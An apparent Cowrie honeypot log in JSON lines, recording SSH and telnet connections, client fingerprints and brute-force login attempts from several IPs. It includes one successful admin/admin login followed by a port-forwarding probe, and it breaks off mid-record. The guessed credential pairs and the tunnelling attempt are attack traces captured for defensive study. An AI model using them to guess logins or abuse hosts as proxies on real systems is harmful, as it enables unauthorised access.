{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Su8j7is0XTazqIm5aAzQselBqLJN89TGD+Xtdt8YNVnu4Uk/yMtCJCQqS3WSz47z1tvw3PSS9fURRegacxByEfcoCXpYAMnxIYfmyFQLcan3hllLQl7IsGjgz57/dYW0WJPWsIIT0pitIPjmybgc7n0lWJtq5J5LRhSa57KT84hWTtbpXWdnsE1ExHWI2OWGc7FGbqjnHKqLTCX2fcuHN0ezpZ0wWvbotTDxegK8eDbcwRaDJE7iwAttSAyJI3Hvu7f8spODOurgTJzPKeOldw3eVuBx0SbY57FvI+UwdHWg2hDICpGd+fm2cSq3QPzeQsLiTZ+cj3dxl+/V5w2DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.562595Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtmFqQKiiZyaEz+12geQ8txHzW3PysKiU7vVVbMG/8hWmCuqDQY9tryELW6yHo2t6x0RAF1XKExMdWAz95BYDQrRtxWvmNokyAMumGgSYFLbPDUHFfVjpDJJ2aT8OoIEdVs4HAxj6msPqecaQRhR80OpFa4fjz9VgAWhohGwyMQE7a1hjlomOyl98eAx6i9s5Mx0cmSFiTJ7ZrTYmeh9OfNeMniPGE7ef+7u4ytZakft6PvykJMeycCz0Ty5zX1Ww/wwYc3sbn2k3iy6tSB9nSL7MGKVm32/c0GRJzP1GIukOZKn/iBQ7iwN9isH/AoxQHTWBn0RAuO89eLjBYdtsl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.685366Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:31:ae:ed:62:a3:6f:50:1b:9e:d4:83:3c:62:9f:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtmFqQKiiZyaEz+12geQ8txHzW3PysKiU7vVVbMG/8hWmCuqDQY9tryELW6yHo2t6x0RAF1XKExMdWAz95BYDQrRtxWvmNokyAMumGgSYFLbPDUHFfVjpDJJ2aT8OoIEdVs4HAxj6msPqecaQRhR80OpFa4fjz9VgAWhohGwyMQE7a1hjlomOyl98eAx6i9s5Mx0cmSFiTJ7ZrTYmeh9OfNeMniPGE7ef+7u4ytZakft6PvykJMeycCz0Ty5zX1Ww/wwYc3sbn2k3iy6tSB9nSL7MGKVm32/c0GRJzP1GIukOZKn/iBQ7iwN9isH/AoxQHTWBn0RAuO89eLjBYdtsl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.691409Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.817049Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.161.206.210","src_port":42706,"dst_ip":"159.203.135.109","dst_port":23,"session":"218ae2aeb3e1","protocol":"telnet","message":"New connection: 68.161.206.210:42706 (159.203.135.109:23) [session: 218ae2aeb3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:27.983103Z"}
{"eventid":"cowrie.session.closed","duration":5.985625743865967,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:33.968545Z","src_ip":"68.161.206.210","session":"218ae2aeb3e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":14253,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ef026646d3","protocol":"ssh","message":"New connection: 2.57.121.25:14253 (10.17.0.5:22) [session: 94ef026646d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:39.961137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:39.965704Z","src_ip":"2.57.121.25","session":"94ef026646d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:40.061857Z","src_ip":"2.57.121.25","session":"94ef026646d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25111981","message":"login attempt [user/25111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:40.519557Z","src_ip":"2.57.121.25","session":"94ef026646d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25071993","message":"login attempt [user/25071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:41.617876Z","src_ip":"2.57.121.25","session":"94ef026646d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25061977","message":"login attempt [user/25061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:42.717136Z","src_ip":"2.57.121.25","session":"94ef026646d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"250386","message":"login attempt [user/250386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:43.816564Z","src_ip":"2.57.121.25","session":"94ef026646d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25021981","message":"login attempt [user/25021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:44.916363Z","src_ip":"2.57.121.25","session":"94ef026646d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:46.015936Z","src_ip":"2.57.121.25","session":"94ef026646d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":34216,"dst_ip":"10.17.0.5","dst_port":23,"session":"77706e5dde9e","protocol":"telnet","message":"New connection: 180.235.129.180:34216 (10.17.0.5:23) [session: 77706e5dde9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:42:55.746764Z"}
{"eventid":"cowrie.session.closed","duration":11.02881407737732,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:06.775455Z","src_ip":"180.235.129.180","session":"77706e5dde9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52698,"dst_ip":"159.203.135.109","dst_port":22,"session":"d49d06176e4a","protocol":"ssh","message":"New connection: 2.57.122.208:52698 (159.203.135.109:22) [session: d49d06176e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:29.828228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:30.043157Z","src_ip":"2.57.122.208","session":"d49d06176e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:30.047001Z","src_ip":"2.57.122.208","session":"d49d06176e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:31.420391Z","src_ip":"2.57.122.208","session":"d49d06176e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:32.643769Z","src_ip":"2.57.122.208","session":"d49d06176e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34920,"dst_ip":"10.17.0.5","dst_port":22,"session":"a939b2ba590f","protocol":"ssh","message":"New connection: 80.94.92.184:34920 (10.17.0.5:22) [session: a939b2ba590f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:43.152530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:43.288285Z","src_ip":"80.94.92.184","session":"a939b2ba590f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:43.295639Z","src_ip":"80.94.92.184","session":"a939b2ba590f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:44.425128Z","src_ip":"80.94.92.184","session":"a939b2ba590f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:43:45.657164Z","src_ip":"80.94.92.184","session":"a939b2ba590f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":52126,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6e3af1a426a","protocol":"ssh","message":"New connection: 213.209.159.56:52126 (10.17.0.5:22) [session: f6e3af1a426a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:02.088011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:02.093198Z","src_ip":"213.209.159.56","session":"f6e3af1a426a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:02.175771Z","src_ip":"213.209.159.56","session":"f6e3af1a426a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla","message":"login attempt [sheyla/sheyla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:02.576186Z","src_ip":"213.209.159.56","session":"f6e3af1a426a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla1","message":"login attempt [sheyla/sheyla1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:03.661873Z","src_ip":"213.209.159.56","session":"f6e3af1a426a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla123","message":"login attempt [sheyla/sheyla123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:04.748739Z","src_ip":"213.209.159.56","session":"f6e3af1a426a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla1234","message":"login attempt [sheyla/sheyla1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:05.835087Z","src_ip":"213.209.159.56","session":"f6e3af1a426a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla12345","message":"login attempt [sheyla/sheyla12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:06.932907Z","src_ip":"213.209.159.56","session":"f6e3af1a426a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:08.018333Z","src_ip":"213.209.159.56","session":"f6e3af1a426a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":14960,"dst_ip":"10.17.0.5","dst_port":22,"session":"30915cdcd910","protocol":"ssh","message":"New connection: 94.26.106.31:14960 (10.17.0.5:22) [session: 30915cdcd910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.129190Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.136101Z","src_ip":"94.26.106.31","session":"30915cdcd910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":14970,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d92d1b4ce82","protocol":"ssh","message":"New connection: 94.26.106.31:14970 (10.17.0.5:22) [session: 6d92d1b4ce82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.270414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.275222Z","src_ip":"94.26.106.31","session":"6d92d1b4ce82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.359887Z","src_ip":"94.26.106.31","session":"6d92d1b4ce82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.531019Z","src_ip":"94.26.106.31","session":"6d92d1b4ce82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"94.26.106.31","dst_port":80,"src_ip":"94.26.106.31","src_port":5555,"message":"direct-tcp connection request to 94.26.106.31:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.616972Z","session":"6d92d1b4ce82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"94.26.106.31","dst_port":80,"data":"b'fmWRrrqu669B2c8UWMCP8lS3d6HrdwVXo2nDEstr49H4GElgHJ'","id":0,"message":"discarded direct-tcp forward request 0 to 94.26.106.31:80 with data b'fmWRrrqu669B2c8UWMCP8lS3d6HrdwVXo2nDEstr49H4GElgHJ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.712032Z","src_ip":"94.26.106.31","session":"6d92d1b4ce82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:44:15.813429Z","src_ip":"94.26.106.31","session":"6d92d1b4ce82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37770,"dst_ip":"10.17.0.5","dst_port":22,"session":"9446074cce0c","protocol":"ssh","message":"New connection: 80.94.92.184:37770 (10.17.0.5:22) [session: 9446074cce0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:32.406111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:32.496797Z","src_ip":"80.94.92.184","session":"9446074cce0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 